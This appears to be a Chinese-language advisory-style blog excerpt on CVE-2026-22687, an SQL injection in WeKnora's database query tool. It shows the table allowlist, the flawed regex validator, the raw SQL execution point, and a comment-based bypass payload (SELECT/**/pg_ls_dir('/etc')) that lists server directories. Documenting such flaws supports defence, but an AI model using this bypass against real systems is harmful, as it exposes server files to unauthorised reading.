标签 WeKnora 下的文章
CVE-2026-22687:WeKnora数据库查询工具存在sql注入漏洞
allowedTables := []string{
"tenants", "knowledge_bases", "knowledges", "sessions",
"messages", "chunks", "embeddings", "models",
}
// 提取FROM和JOIN子句中的表名
tablePattern := regexp.MustCompile(`(?i)\b(?:from|join)\s+([a-z_]+)(?:\s+as\s+[a-z_]+|\s+[a-z_]+)?`)
matches := tablePattern.FindAllStringSubmatch(lowerSQL, -1)
-- 原始查询(会被拦截)
SELECT pg_ls_dir('/etc')
-- 绕过后的查询(使用注释代替空格)
SELECT/**/pg_ls_dir('/etc')
// 漏洞点1:原始SQL执行,无参数化查询
func (t *DatabaseQueryTool) Execute() {
// line 158: 直接执行原始SQL
t.db.WithContext(ctx).Raw(securedSQL).Rows()
}
// 漏洞点2:校验函数存在缺陷
func validateAndSecureSQL(sql string) error {
// 仅检查表名,不检查函数和存储过程
// 使用简单正则,易被注释绕过
}

CVE-2026-22688






